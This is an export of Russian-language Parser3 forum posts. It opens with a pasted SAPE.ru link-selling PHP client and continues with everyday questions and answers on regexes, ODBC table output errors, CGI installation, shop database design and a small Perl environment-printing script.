a:4:{s:1:\"/\";a:4:{i:0;s:130:\"<a href=\"http://www.profstroy.ru/\" target=\"_blank\">строительные лицензии ........\
\
..................\
\
;}s:18:\"__sape_delimiter__\";s:2:\"; \";s:16:\"__sape_new_url__\";s:15:\"<!--12423404-->\";}\
\
Методом ^usePHP[] выводится только текст в коментарии\
\
\
Вот код на PHP\
<?php\
/*\
 * SAPE.ru -- Интеллектуальная система купли-продажи ссылок\
 * \
 * PHP-клиент, версия 0.4 от 12.02.2007\
 *\
 * По всем вопросам обращайтесь на support@sape.ru\
 *\
 * Вебмастры! Не нужно ничего менять в этом файле! Все настройки - через параметры при вызове кода.\
 * Читайте: http://www.sape.ru/faq.php\
 *\
 */\
\
class SAPE_client {\
    \
    var $_version           = '0.3';\
    \
    var $_verbose           = false;\
    \
    var $_charset           = '';               // http://www.php.net/manual/en/function.iconv.php\
    \
    var $_server            = 'dispenser-01.sape.ru';\
    \
    var $_cache_lifetime    = 3600;             // Пожалейте наш сервер :о)\
    \
    // Если скачать базу ссылок не удалось, то следующая попытка будет через столько секунд\
    var $_cache_reloadtime  = 600;\
    \
    var $_links_db_file     = '';\
    \
    var $_links             = array();\
    \
    var $_links_page        = array();\
    \
    var $_links_delimiter   = '';\
    \
    var $_error             = '';\
    \
    var $_host              = '';\
    \
    var $_request_uri       = '';\
    \
    var $_multi_site        = false;\
    \
    var $_fetch_remote_type = '';              // Способ подключения к удалённому серверу [file_get_contents|curl|socket]\
    \
    var $_socket_timeout    = 6;               // Сколько ждать ответа\
    \
    \
    function SAPE_client($options = null) {\
        \
        // Поехали :o)\
        \
        if (is_array($options)) {\
            if (isset($options['host'])) {\
                $host = $options['host'];\
            }\
        } elseif (strlen($options)) {\
            $host = $options;\
            $options = array();\
        } else {\
            $host = '';\
            $options = array();\
        }\
        \
        // Какой сайт?\
        if (strlen($host)) {\
            $this->_host = $host;\
        } else {\
            $this->_host = $_SERVER['HTTP_HOST'];\
        }\
        \
        $this->_host = preg_replace('/^http:\\/\\//', '', $this->_host);\
        $this->_host = preg_replace('/^www./', '', $this->_host);\
        \
        // Какая страница?\
        if (isset($options['request_uri']) && strlen($options['request_uri'])) {\
            $this->_request_uri = $options['request_uri'];\
        } else {\
            $this->_request_uri = $_SERVER['REQUEST_URI'];\
        }\
        \
        // На случай, если хочется много сайтов в одной папке\
        if (isset($options['multi_site']) && $options['multi_site'] == true) {\
            $this->_multi_site = true;\
        }\
        \
        // Сообщать об ошибках\
        if (isset($options['verbose']) && $options['verbose'] == true) {\
            $this->_verbose = true;\
        }\
        \
        // Кодировка\
        if (isset($options['charset']) && strlen($options['charset'])) {\
            $this->_charset = $options['charset'];\
        }\
        \
        if (isset($options['fetch_remote_type']) && strlen($options['fetch_remote_type'])) {\
            $this->_fetch_remote_type = $options['fetch_remote_type'];\
        }\
        \
        if (isset($options['socket_timeout']) && is_numeric($options['socket_timeout']) && $options['socket_timeout'] > 0) {\
            $this->_socket_timeout = $options['socket_timeout'];\
        }\
        \
        if (!defined('_SAPE_USER')) {\
            $this->raise_error('Не задана константа _SAPE_USER');\
            return false;\
        }\
        \
        $this->load_links();\
    }\
    \
    \
    function load_links() {\
        \
        // Для сайтов, которые лежат в одной папке\
        if ($this->_multi_site) {\
            $this->_links_db_file = dirname(__FILE__) . '/' . $this->_host . '.links.db';\
        } else {\
            $this->_links_db_file = dirname(__FILE__) . '/links.db';\
        }\
        \
        if (!is_file($this->_links_db_file)) {\
            // Пытаемся создать файл.\
            if (@touch($this->_links_db_file)) {\
                @chmod($this->_links_db_file, 0666);    // Права доступа\
            } else {\
                $this->raise_error('Нет файла ' . $this->_links_db_file . '. Создать не удалось. Выставите права 777 на папку.');\
                return false;\
            }\
        } \
        \
        if (!is_writable($this->_links_db_file)) {\
            $this->raise_error('Нет доступа на запись к файлу: ' . $this->_links_db_file . '! Выставите права 777 на папку.');\
            return false;\
        }\
        \
        @clearstatcache();\
        \
        if (filemtime($this->_links_db_file) < (time()-$this->_cache_lifetime) || filesize($this->_links_db_file) == 0) {\
            \
            // Чтобы не повесить площадку клиента и чтобы не было одновременных запросов\
            @touch($this->_links_db_file, (time() - $this->_cache_lifetime + $this->_cache_reloadtime));\
            \
            $path = '/code.php?user=' . _SAPE_USER . '&host=' . $this->_host;\
            if (strlen($this->_charset)) {\
                $path .= '&charset=' . $this->_charset;\
            }\
            \
            if ($links = $this->fetch_remote_file($this->_server, $path)) {\
                if (substr($links, 0, 12) == 'FATAL ERROR:') {\
                    $this->raise_error($links);\
                } else {\
                    // [псевдо]проверка целостности:\
                    if (@unserialize($links) != false) {\
                        $this->_write($this->_links_db_file, $links);\
                    }\
                }\
            }\
        }\
        \
        if ($links = $this->_read($this->_links_db_file)) {\
            if (!$this->_links = @unserialize($links)) {\
                $this->_links = array();\
            }\
        } else {\
            $this->_links = array();\
        }\
        \
        // Убиваем PHPSESSID\
        if (strlen(session_id())) {\
            $session = session_name() . '=' . session_id();\
            $this->_request_uri = str_replace(array('?'.$session,'&'.$session), '', $this->_request_uri);\
        }\
            \
        if (isset($this->_links['__sape_delimiter__'])) {\
            $this->_links_delimiter = $this->_links['__sape_delimiter__'];\
        }\
        \
        if (array_key_exists($this->_request_uri, $this->_links) && is_array($this->_links[$this->_request_uri])) {\
            $this->_links_page = $this->_links[$this->_request_uri];\
        } else {\
            if (isset($this->_links['__sape_new_url__']) && strlen($this->_links['__sape_new_url__'])) {\
                $this->_links_page = $this->_links['__sape_new_url__'];\
            }\
        }\
    }\
    \
    /*\
     * Ccылки можно показывать по частям\
     *\
     */\
    function return_links($n = null) {\
        \
        if (is_array($this->_links_page)) {\
            \
            $total_page_links = count($this->_links_page);\
            \
            if (!is_numeric($n) || $n > $total_page_links) {\
                $n = $total_page_links;\
            }\
            \
            $links = array();\
            \
            for ($i = 1; $i <= $n; $i++) {\
                $links[] = array_shift($this->_links_page);\
            }\
            \
            $html = join($this->_links_delimiter, $links);\
            \
            return $html;\
            \
        } else {\
            return $this->_links_page;\
        }\
        \
    }\
    \
    /*\
     * Функция для подключения к удалённому серверу\
     */\
    function fetch_remote_file($host, $path) {\
        \
        $user_agent = 'SAPE_Client PHP ' . $this->_version;\
        \
        @ini_set('allow_url_fopen',          1);\
        @ini_set('default_socket_timeout',   $this->_socket_timeout);\
        @ini_set('user_agent',               $user_agent);\
        \
        if (\
            $this->_fetch_remote_type == 'file_get_contents'\
            ||\
            (\
                $this->_fetch_remote_type == ''\
                &&\
                function_exists('file_get_contents')\
                &&\
                ini_get('allow_url_fopen') == 1\
            )\
        ) {\
            \
            if ($data = @file_get_contents('http://' . $host . $path)) {\
                return $data;\
            }\
        \
        } elseif (\
            $this->_fetch_remote_type == 'curl' \
            ||\
            (\
                $this->_fetch_remote_type == ''\
                &&\
                function_exists('curl_init')\
            )\
        ) {\
            \
            if ($ch = @curl_init()) {\
\
                @curl_setopt($ch, CURLOPT_URL,              'http://' . $host . $path);\
                @curl_setopt($ch, CURLOPT_HEADER,           false);\
                @curl_setopt($ch, CURLOPT_RETURNTRANSFER,   true);\
                @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,   $this->_socket_timeout);\
                @curl_setopt($ch, CURLOPT_USERAGENT,        $user_agent);\
                \
                if ($data = @curl_exec($ch)) {\
                    return $data;\
                }\
                \
                @curl_close($ch);\
            }\
            \
        } else {\
            \
            $buff = '';\
            $fp = @fsockopen($this->_server, 80, $errno, $errstr, $this->_socket_timeout);\
            if ($fp) {\
                @fputs($fp, \"GET {$path} HTTP/1.0\\r\\nHost: {$host}\\r\\n\");\
                @fputs($fp, \"User-Agent: {$user_agent}\\r\\n\\r\\n\");\
                while (!@feof($fp)) {\
                    $buff .= @fgets($fp, 128);\
                }\
                @fclose($fp);\
                \
                $page = explode(\"\\r\\n\\r\\n\", $buff);\
            \
                return $page[1];\
            }\
            \
        }\
        \
        return $this->raise_error('Не могу подключиться к серверу: ' . $host . $path);\
    }\
    \
    /*\
     * Функция чтения из локального файла\
     */\
    function _read($filename) {\
        \
        $fp = @fopen($filename, 'rb');\
        @flock($fp, LOCK_SH);\
        if ($fp) {\
            clearstatcache();\
            $length = @filesize($filename);\
            $mqr = get_magic_quotes_runtime();\
            set_magic_quotes_runtime(0);\
            if ($length) {\
                $data = @fread($fp, $length);\
            } else {\
                $data = '';\
            }\
            set_magic_quotes_runtime($mqr);\
            @flock($fp, LOCK_UN);\
            @fclose($fp);\
            \
            return $data;\
        }\
        \
        return $this->raise_error('Не могу считать данные из файла: ' . $filename);  \
    }\
    \
    /*\
     * Функция записи в локальный файл\
     */\
    function _write($filename, $data) {\
        \
        $fp = @fopen($filename, 'wb');\
        if ($fp) {\
            @flock($fp, LOCK_EX);\
            $length = strlen($data);\
            @fwrite($fp, $data, $length);\
            @flock($fp, LOCK_UN);\
            @fclose($fp);\
            return true;\
        }      \
        \
        return $this->raise_error('Не могу записать данные в файл: ' . $filename); \
    }\
    \
    /*\
     * Функция обработки ошибок\
     */\
    function raise_error($e) {\
        \
        $this->_error = '<p style=\"color: red; font-weight: bold;\">SAPE ERROR: ' . $e . '</p>';\
        \
        if ($this->_verbose == true) {\
            print $this->_error;\
        }\
        \
        return false;\
    }\
}\
\
?>"
"59681","http://wap.gismeteo.ru/wap2/towns/27612.wap2 - тоже несложно разбирать..."
"59682","кстати, спрашивая пример кода, я думал, что вы понимаете на каком форуме находитесь и приведете пример парсерного кода, а не пхп-шного.\
\
Проверьте, а работает ли у вас php сам по себе?\
и если работает то правильно ли?\
\
если нет или неправильно - разбирайтесь с пхп самостоятельно или на форуме ему посвященному.\
если пхп работает как надо - попытайтесь обработать(точнее дернуть по http) файл php, в соответствии с задуманным вами алгоритмом.\
Сравните результаты. Проанализируйте их. Выявите различия и ошибки. К этому моменту, думаю вы уже будете знать почему у вас не работает. если не будете, приходите с вопросом сюда.\
при этом приведите в краткой, минимальной для понимания форме:\
1. ожидаемый резльтат от php\
2. результат обработки с помощью парсера\
3. код парсера, которым обрабатывали\
\
А еще подумайте - может ну его нафиг, этот sape и проще написать свое, как посоветовал KLeN (там делов то, код который вы привели переписывается на парсере за несколько часов)? :)"
"59683","а если с этого начинается знакомство с парсером (что по вопроcу похоже) - то вообще нереально.\
\
если же опыт программирования уже есть, то задача вполне решаемая, хотя лично мне большинство фишек vBulletin-а лишь прикольны, но далеко не удобны/необходимы.\
\
однако копирование существующей реализации \"в лоб\" - не лучший вариант (html шаблоны в БД с вкраплениями php кода), да и интерфейс администрирования по моему неудобен."
"59685","На студийных проектах, на последних, такая тема есть, что на полный текст новости ссылается характерная фраза (ну тёма прокачал, типа народ тупой и не въедет, что весь заголовок подчёркнутый это ссылка).\
\
Ну не важно, мне собсно интересно просто, как это реализовано. Неужели в админке в title новости тупо пишется: PEOPLEnet: <a href=\"http://www.people.net.ua/ru/press/release/?id=42\">Оплата услуг через Интернет</a> — надежно, удобно и безопасно!\
\
(http://www.people.net.ua/ru/press/release/)"
"59686","[quote]\
PEOPLEnet: [Оплата услуг через Интернет] — надежно, удобно и безопасно!\
[/quote]\
А дальше простым regexp проставляются нужные ссылки )"
"59688","пищу для размышлений. Всем откликнувшимся спасибо :)"
"59689","В один день, в один час, в одну минуту и в одну секунду передо мной встала такая задача:\
из [b]было[/b]:\
[code]\
$var[xxx]\
[/code]\
сделать [b]стало[/b]:\
[code]\
$var[xxx]\
# \"кракозябра\"\
[/code]\
\
Но так, чтобы код работа кода на Парсере не привела к ошибке, т.е. с учетом такого:\
[code]\
$var[^table::create{column1\
field1\
field2\
...\
}]\
[/code]\
\
В общем следующее решение не пойдет:\
[code]\
^var.match[\\^$(\\w+)\\[(\\w+)\\]][gix]{\
	^$$match.1^[$match.2^]\
	# \"кракозябра\"\
}\
[/code]"
"59690","Ваш \"общий случай\" - делает непонятно что\
\
^var.match[...] - будет вообще выдавать ошибку, потому что в $var, может быть как вы сами написали - таблица, а table нет метода match.\
Более того, поскольку указан модификатор x - то строка \
  # \"кракозябра\"  \
будет считаться комментарием и не будет никуда вставлено ни в каком случае.\
\
Если я верно протелепатировал и вам возле каждой переменной поставить парсерный комментарий, то лучше и проще поставить его _перед_ переменной (она может быть весьма длинной и сложно-организованной, посмотрите в примерах какой бывает например $result[...]), а не после"
"59692","[code]\
^strText.match[\
	^^\
	(\\s*)\
	\\^$([\\w\\_\\-]+)\
	([\\[|\\(])\
		(.+?)\
	([\\]|\\)])\
	^$\
][gixm]{${match.1}^$${match.2}${match.3}${match.4}${match.5}\
^#23 \"кракозябра\"}\
[/code]\
\
P.S. Кстати, я же в сообщении опечатался...\
\
В общем мне нужно было найти в коде переменные и после каждой из них добавить по \"кракозябре\"."
"59693","Проверьте на этом, например:\
\
[code]$a[^table::create{a	b\
$id	$value}]\
\
$sum(\
	^eval(1+25)\
)\
[/code]\
P.S. Насчет x - я был неправ, по невнимательности."
"59695","Vdrug pridoditsja"
"59696","Пришлось изменить условие.\
Ведется поиск только переменных, код, которых умещается в одну строку.\
Для остальных будет другой подход."
"59697","Есть скрипт на p... допустим \"http://blabla.com/?co=\" На него приходят данные, считываются через form: и после некоторой доработки добавляются в бд. Нужно чтобы помимо данных в бд добавлялась и дата,время их прихода..  Плзз  подскажите как попроще сделать)"
"59698","http://www.artlebedev.ru/everything/vilcus/"
"59699","[code]$now[^date::now[]]\
\
^void:sql{insert into TableName set data='$form:co', date='^now.sql-string[]'}\
---\
^void:sql{insert into TableName set data='$form:co', date=now()}[/code]"
"59700","http://www.artlebedev.ru/tools/technogrette/xslt/typography/"
"59704","с первого взгляда, могу сказать что опций больше чем надо..."
"59706","Вообще очень правдоподобно.\
Смутило только, что ресурсоёмко получается.\
И в конце вот это: \
[quote]Автоматическое типографирование текстов на основе XSLT-преобразований рекомендуется к внедрению на высоконагруженных серверах.[/quote]"
"59709","# Получаю таблицу из Базы:\
^connect[$connect_string]{\
		$DB[^table::sql{SELECT * from ТАБЛИЦА}]\
}\
\
# Получаю имена столбцов:\
$cols[^DB.columns[]]\
# Вывожу:\
<table>\
	<tr>\
		^cols.menu{\
			<td>$cols.column</td>\
		}\
	</tr>\
# Теперь надо вывести построчно содержимое этих столбцов.\
	^DB.menu{\
		<tr>\
			^cols.menu{\
				$c[$cols.column]\
				<td>$DB.$c</td>\
			}\
		</tr>\
	}\
</table>\
Что делаю неправильно? И скобки ставил, что только не делал."
"59710","Пардон за оффтопик.\
А используют парсер где-нибудь за бугром, т.е. не в русскоязычной среде?\
Есть хоть один пример забугорного сайта для забугорных пользователей на парсере?\
Или забугорный хостинг с поддержкой парсера?"
"59711","[code]\
^connect[mysql://user@host/database]{\
$tDb[^table::sql{SELECT * FROM object}]\
}\
\
$tCols[^tDb.columns[]]\
\
<table>\
<tr>\
^tCols.menu{\
<td>$tCols.column</td>\
}\
</tr>\
\
^tDb.menu{\
<tr>\
^tCols.menu{\
<td>$tDb.[$tCols.column]</td>\
}\
</tr>\
}\
</table>[/code]"
"59712","Между прочим, если довести до производства и выпустить — мегапопулярная вещица будет!"
"59713","я бы купил обязательно %-)"
"59714","В том то и дело! Ставил я скобки - и такие и фигурные и что только не делал. Выдается ошибка:\
\"В работе Parser произошла ошибка:\
method_frame may not be overwritten with hash, store it to variable instead\
Ошибку вызвал этот фрагмент:\
main\""
"59715","в NAC (http://www.nac.net/), это в районе Нью-Йорка, и что?"
"59716","Одну дырку для одного пальца, а в ней слева справа контакты =) Мало ли инвалидов =))"
"59719","Доброе время суток.\
Просмотрел достаточное колличество тредов по форуму, но так и не приметил как это сделать. Думаю в направлении рекурсивной обработки нужно двигаться, но не схвачу нить.\
Цель такова, из определенной папки нужно просмотреть и найти по условию все файлы находящиеся в этой папке и всех дочерних и т.д. вниз папках.\
Помогите плиз, голова уже пухнет.\
Спасибо."
"59720","Здравствуйте.\
\
Залил сайт на поддомен www.test.site.ru (физически он находится по адресу /www/test/).\
После чего команда [code]$request:uri[/code] исполнясь в корне поддомена выдает \"/test/\", а надо, чтобы \"/\"\
\
Как это исправить, подскажите пожалуйста."
"59725","Прописал в конфигурационном auto.p\
[code]$request:document-root[***/www/test][/code]\
$request:uri по-прежнему выдавает \"/test/\" :("
"59726","Насколько я понял это простенький веб-сервер....\
Реально ли туда всадить парсер?"
"59727","ибо внутрь надо встраивать электронику, подключающий у пальцу фазу + добавлять провод с крокодилом для подключения к ноге и батарее. девайс станет доступен не для всех =)"
"59732","На один палец сразу в отверстии приходит фаза и ноль. =))"
"59734","Да мне нужно визуализировать выборку."
"59735","в качестве предложения на разработку предлагаю сделать переходник 220V-аудиоминиджек, для подключения различных наушников (можно разработать фирменные, с металлическими контактами на \"пуговках\")\
астрал будет обеспечен.\
\
из недостатков, на текущий момент невозможно обеспечить стереозвук.\
Впрочем это несущественно :)"
"59736","Более того, ошибка:\
[quote]method_frame may not be overwritten with hash, store it to variable instead[/quote]\
подсказывает, что вы привели не весь код. также как привели не ВЕСЬ текст ошибки, там еще есть номер строки и номер символа в строке.\
Ошибка указывает на некий хэш, который вы не сохранили в переменную, а в вашем коде никакого хэша нет и в помине.\
\
Приведите, пожалуйста, весь код и полностью ошибку, если конечно хотите, чтобы кто-нибудь вам здесь помог."
"59737","[b]Страница: view.htm\
Тестирую на: Apashe_SwissKnife v.3.5[/b]\
\
<html>\
<body>\
# Получаю таблицу из Базы:\
^connect[$connect_string]{\
$DB[^table::sql{SELECT * from таблица_в_Базе_данных}]\
}\
\
# Получаю имена столбцов:\
$cols[^DB.columns[]]\
# Вывожу:\
<table>\
<tr>\
^cols.menu{\
<td>$cols.column</td>\
}\
</tr>\
# Теперь надо вывести построчно содержимое этих столбцов.\
^DB.menu{\
<tr>\
^cols.menu{\
\
<td>$DB.[$cols.column]</td>\
}\
</tr>\
}\
</table>\
\
Сообщение ошибки:\
\"В работе Parser произошла ошибка:\
method_frame may not be overwritten with hash, store it to variable instead\
Ошибку вызвал этот фрагмент:\
main \
Ошибка произошла при работе с файлом:\
view.htm, строка номер 22\
Вот что говорится в FAQ об этой ошибке:\
Производится попытка добавить в тело страницы объект, который не может быть выведен парсером. Например, если написать в чистом поле ^date::now[] то получим такую ошибку. Чтобы вывести дату нужно сделать примерно следующее: \
\
$now[^date.now[]]^now.sql-string[]Аналогично с объектами таблица, хеш и т.д.\
\
Последовательность операций, которая привела к ошибке:\
(от самой последней вверху списка до самой первой внизу) \
fields в файле /webeditor/view.htm, строка 22 \
menu в файле view.htm, строка 20 \
menu в файле view.htm, строка 18\"\
\
Как видно из сообщения вызывает ошибку именно фрагмент (строка 22) - $DB.[$cols.column]!"
"59738","К примеру фрагмент:\
<tr>\
^cols.menu{\
<td>$cols.column</td>\
}\
</tr>\
Нормально строит строку заголовков столбцов!\
\
Если впрямую указывать имена столбцов:\
^DB.menu{\
<tr>\
^cols.menu{\
# Вместо [$cols.column] подставить реальное имя столбца (полученное из предыдущего фрагмента)\
<td>$DB.имя_столбца</td>\
}\
</tr>\
Также все работает! Получаю строку с повторяющимися данными из одного столбца но с правильным количеством повторений по числу столбцов!\
}"
"59740","скопировал ваш код как есть исправил только $connect_string, вся таблица выводится с заголовками"
"59741","Может что то намудрено в настройках ...\
В то же время - как бы понять причину? Ведь этот код я буду закачивать на работающий сервак. А испытываю все это дело я на полной копии (локальном клоне). Может"
"59742","В работе Parser произошла ошибка:\
method_frame may not be overwritten with hash, store it to variable insteadОшибку вызвал этот фрагмент:\
main"
"59744","пробовал и на свежеустановленном Swissknife закину прямо в папку test где тестируется парсер"
"59745","А не работает с odbc! Разве такое может быть!\
Какие мысли? Как быть?"
"59746","Операция;\
$DB.[$cols.column] при попытке вывода содержимого таблицы из базы данных выдает ошибку, если используется подключение к базе данных ODBC, а обращение к базе MySQL проходит нормально!\
\
Сам код:\
# Получаю таблицу из Базы:\
^connect[$connect-string]{\
$DB[^table::sql{SELECT * from ТАБЛИЦА}]\
}\
\
# Получаю имена столбцов:\
$cols[^DB.columns[]]\
# Вывожу:\
<table border=\"1\">\
<tr>\
^cols.menu{\
<td>$cols.column</td>\
}\
</tr>\
# Теперь надо вывести построчно содержимое этих столбцов.\
^DB.menu{\
<tr>\
^cols.menu{\
<td>[b]$DB.[$cols.column][/b]</td>\
}\
</tr>\
}\
</table>\
\
Когда $connect-string - для ODBC выдается ошибка:\
Сообщение ошибки:\
\"В работе Parser произошла ошибка:\
method_frame may not be overwritten with hash, store it to variable instead\
Ошибку вызвал этот фрагмент:\
main \
\
А если $connect-string - для MySQL, то все отрабатывает нормально!"
"59750","Добрый день всем !\
Ставлю парсер на хостинге с  FreeBSD 6.2.\
Скачал бинарники из раздела скачать по 6.1\
Сделал все как обычно (ставил на старом хостинге с RedHat ), но не работает. Первое, с чем столкнулся, это с тем, что при вводе строки вида [b]http://ваш_сайт/cgi-bin/parser3.cgi[/b] выдает на экран бинарный код (такого вида [code]?ELF!!! !!!ь«!!4мЙ!4 !(!!![/code]!!!! С чем это может быть связанно ?\
Спасибо.\
(Хостинг www.hosting.nic.ru )"
"59752","Т.е. зарезервированное слово. Надо будет применить, как описано в хелпе, хэши!"
"59754","P.S. как упростилось бы решение данной проблемы если бы было не SELECT _*_"
"59755","Когда SELECT *, то страница отображается правильно, а вот попробовал вручную задать имена столбцов и опять 25:\
имя одного из столбцов выдается как \"Expr1000\" (это самый первый столбец)! и значения из этого столбца, соответственно - 0. Да я уже наученный \"горьким опытом\" сразу же залез в базу и выяснилось, что имя у этого столбца - \"No\". Как переименовал его так все нормально! Теперь бьюсь - как это обойти, наверное он его воспринимает как какой то служебный код... Ну в общем ничего не понял."
"59756","<script type=\"text/javascript\">new Draggable('trash');Droppables.add('trash' , {accept:['file','folder'], onDrop:function(element){alert(\"УДАЛЕНО\")},hoverclass:'trash-active'})</script>\
\
Стоит ли так использовать JS в XSL либо надо использовать CDATA ?"
"59757","уберите вывод данных и покажите, что выводится с помощью:\
[code]\
^cols.menu{\
<td>$cols.column</td>\
}\
[/code]\
\
и попробуйте выполнить тот-же запрос используя в качестве клиента не парсер (но через odbc). есть ощущение, что в этом случае клиенту приходят уже коцаные данные. \
\
вариант: избавиться от * в запросе: сначала получить список столбцов в таблице, потом запрос с перечислением столбцов (+ возможно field AS `field` или как его там в случае в сашим сервером БД), и затем вывод."
"59759","Вобщем всё настроил как обычно (linux parser mysql). В htdocs лежат всё файлы нужные и cgi-bin, в котором парсер.\
\
При обращении к сайту выкидывает в лог:\
\
[quote][Tue Apr  3 15:51:56 2007] [26617] /: '/home/htdocs/cgi-bin/index.html' read failed: No such file or directory (2), actual filename '/home/htdocs/cgi-bin/index.html' [file.missing][/quote]\
\
Собсно порыл форум, нашёл один тред об изменении DocumentRoot через auto.p, который лежит вместе с parser3.cgi. Не помогло.\
\
PS: При обращении к parser3.cgi пишет кракозябры: «?ELF!!!»."
"59760","означают, что сервер пытается отдать вам parser3.cgi в текстовом виде. Это всё равно, что вы бы запускали excel.exe, а вместо этого Винда бы открывала вам Блокнот с содержимым \"excel.exe\".\
\
Проверьте, поставили ли вы на parser3.cgi права 755. \
Проверьте, лежит ли parser3.cgi ВНУТРИ папки /cgi-bin/чтоугодно/\
\
Пока не экспериментируйте с .htaccess и т.п. - добейтесь просто того, что при обращении к http://вашсайт/cgi-bin/parser3/parser3.cgi выдавалась бы версия парсера, а не \"кракозябры\".\
\
Да, и не кладите html-файлы внутрь папки cgi-bin - им там делать нечего."
"59761","А в том и дело, что структура файлов человеческая. В cgi-bin нет ничего, кроме lib, charsets, parser3.cgi и auto.p. Права на парсер 755."
"59763","IIS Manager > Properties > Web Site > Connections > [uncheck] Enable HTTP Keep-Alives\
\
Tupo, no vse zarabotalo."
"59764","уточните какая система на сервере и какую компиляцию парсера вы используете, возможно операционка не может cgi ЗАПУСТИТЬ"
"59765","http://parser.ru/f/1/download/freebsd/parser3_2_1_freebsd410R_grpunlim_cgi_xml.tar.gz\
я искал так:\
grpunlim, author=PAF, самая старая ссылка."
"59766","Operating System 	Linux 2.6.16.33-20061128a-areca-filemon\
http://www.parser.ru/f/1/download/redhat/parser3_2_1_redhat73_cgi.tar.gz"
"59768","Схема работы немного нестандартна: курьерам сразу выдают энное количество товаров. Как только поступает заказ, менеджер передаёт его курьеру, и тот сразу едет на точку. Имеем:\
\
good: таблица товаров\
order: таблица заказов\
courier: таблица курьеров\
invoice: таблица выдачи товаров курьерам\
order_to_good: список заказанных товаров\
invoice_to_good: список товаров, выданных курьерам\
\
Последние две таблицы суть одно и то же, имеет смысл их объединить. Но как назвать общую таблицу и поля в ней, чтобы было понятно? Или пусть будет две, ничего страшного? А может, стоит вообще пересмотреть всю структуру? Искал в нете статьи про оптимальную структуру БД для инет-магазина, ничего толкового не нашёл :-("
"59770","это разные таблицы и не надо их объединять.\
\
я бы правда переставил бы слова в их названии (good_to_order), т.к. продукт есть сущность, которая помещается куда либо.\
\
ещё в магазинах я обычно даю возможность посетителям набрать товаров, но заказать не всё набранное. в этом случае он может прийти позже и дозаказать то, что осталось незаказаного в корзине (или опять же часть этого). но это можно решить не отдельной табличкой, а лишь чем-нить типа поля status в таблице order.\
\
ну и пользователей хряню отдельно, ведь возможно кому-то понравится и он захочет не каждый раз вбивать контактную информацию и адрес доставки, а лишь залогиниться (но процедура регистрации в магазине не обязательна!)\
\
для этого я добавляю таблички auser (неожиданно, правда?) и order_detail + в таблице order - поле auser_id."
"59771","[quote]actual filename '/home/htdocs/cgi-bin/index.html[/quote]"
"59775","А прикол в том, что\
^cols.menu{\
<td>$cols.column</td>\
}\
выводит все нормально - перечень имен столбцов при запросе с *. А при указании имени столбца (как выяснилось сбой вызывает имя \"No\") выдает Expr1000. Сейчас проделаю то что ты рекомендовал и сообщу результаты. Кстати, я делал и untaint - ничего."
"59777","нигде нет списка \"ключевых\" слов, которые парсер воспринимает как какие то служебные операторы или команды. В описании всех языков это является нормой и перечисляется на первых страницах руководств"
"59778","вы можете создать переменную $table[] например.\
а перечислять на отдельных страничках методы объектов (table, hash, hashfile...) и сообщать что вы мол не можете иметь поля с такми жее именами - глупость.\
\
хотя если вы настаиваете и приведете доступный и понятный текст - добавим его в документацию."
"59779","я не нашел"
"59780","на моем примере. Один из стандартных методов \"fields\" конфиктанул с именем поля в базе данных"
"59781","Здравствуйте! Вот кусок ФАК:\
[i]\"Я вроде все сделал правильно, но получаю ошибку «…safe mode…», в чем дело?\
Бинарные CGI версии Parser под *nix в разделе для скачивания собраны в SAFE MODE. Такой Parser проверяет группу и владельца файла перед его считыванием, и считывают только те файлы, группа или владелец которых совпадает с группой или владельцем процесса, в котором работает Parser.\
\
Это сделано специально, чтобы в случае ошибки в скрипте злоумышленники не могли ею воспользоваться и получить доступ к файлам, к которым он им заведомо не нужен, скажем, к /etc/passwd.\
\
Бывает, что системный администратор настроил вам веб-сервер таким образом, что и группа и пользователь, от которой работает CGI процесс (параметры Group и User в httpd.conf, для Apache) не совпадает ни с группой ни с пользователем, которому принадлежат файлы, создаваемые вами.\
\
В этом случае вы  получите сообщение «…safe mode…»\
Варианты действий:\
Попросите вашего системного администратора прочесть это сообщение, он поймет...\"[/i]\
\
Как быть если системный администратор не понимает что от него требуется? Подскажите, пожалуйста как правильно отстроить группу и владельца файла, так что-бы это было \"по уму\". Сейчас на трех юникс-серверах для того чтобы запустился парсер, мне нужно присвоить файлам пользователя www, группу nobody. Видимо так по умолчанию отстроены эти серваки. Товарищи! как должно быть правильно?"
"59782","Главное — не пихать в шаблон текстовые строки, это плохо. Текст надо хранить в отдельном месте, выдавать его в XML и обращаться к нему из шаблона. Например, так:\
\
[code]<script type=\"text/javascript\">\
<xsl:comment>\
	window.alert('<xsl:value-of select=\"$labels/hello_word\" />');\
//</xsl:comment>\
</script>[/code]"
"59783","Выкачал (только что) parser 3, поставил.\
\
Вот такой файл\
\
[core]\
> cat index.html\
$response:location[http://www.some-site.ru/company/index.html?id=4]\
[/code]\
\
вроде бы все просто, да?\
\
[code]\
> ../libexec/parser3.cgi index.html\
>\
[/code]\
\
не выдает никаких заголовков вообще. что может быть не так?\
\
Alex."
"59785","вы хотите, чтобы при запуске парсера из консоли им выдавались бы заголовки? зачем? парсер определяет как он был запущен (по выставленным переменным окружения) и если он был запущен из консоли не выдает заголовки.\
\
вам нужно иное: \
1. выставьте переменные окружения\
2. исходники доступны"
"59786","положите в cgi-bin файлик printenv.cgi следующего содержания:[code]#!/usr/bin/perl\
print \"Content-type: text/html\\n\\n\";\
print \"<code>\\n\";\
foreach $key (sort keys(%ENV)) {\
	print \"<b>$key</b> = $ENV{$key}<br>\";\
}[/code]поставьте на него permissions 755, обратитесь к http://вашсайт/cgi-bin/printenv.cgi браузером и покажите нам тут результат.\
\
Мне просто интересно, куда у вас docroot показывает и способен ли вообще ваш сервер исполнять cgi-скрипты.\
\
P.S. Какой у вас тариф у хостера (название или url)? Меня настораживает фраза \"Perl, Python (Plattformunabh&#228;ngige Scriptsprachen)	erh&#228;ltlich ab Tarif: 1&1 Homepage Business\"."
"59787","[code]DBENTRY = /kunden/homepages/30/d200854201/htdocs:d0000#CPU 6 #MEM 10240 #CGI 350 #NPROC 12 #TAID 44747718 #WERB 0 #LANG 0 #STAT 1\
DOCUMENT_ROOT = /kunden/homepages/30/d200854201/htdocs\
GATEWAY_INTERFACE = CGI/1.1\
HTTP_ACCEPT = text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\
HTTP_ACCEPT_CHARSET = iso-8859-1, utf-8, utf-16, *;q=0.1\
HTTP_ACCEPT_ENCODING = deflate, gzip, x-gzip, identity, *;q=0\
HTTP_ACCEPT_LANGUAGE = en,ru-RU;q=0.9,ru;q=0.8\
HTTP_CONNECTION = Keep-Alive\
HTTP_COOKIE = test=ABC\
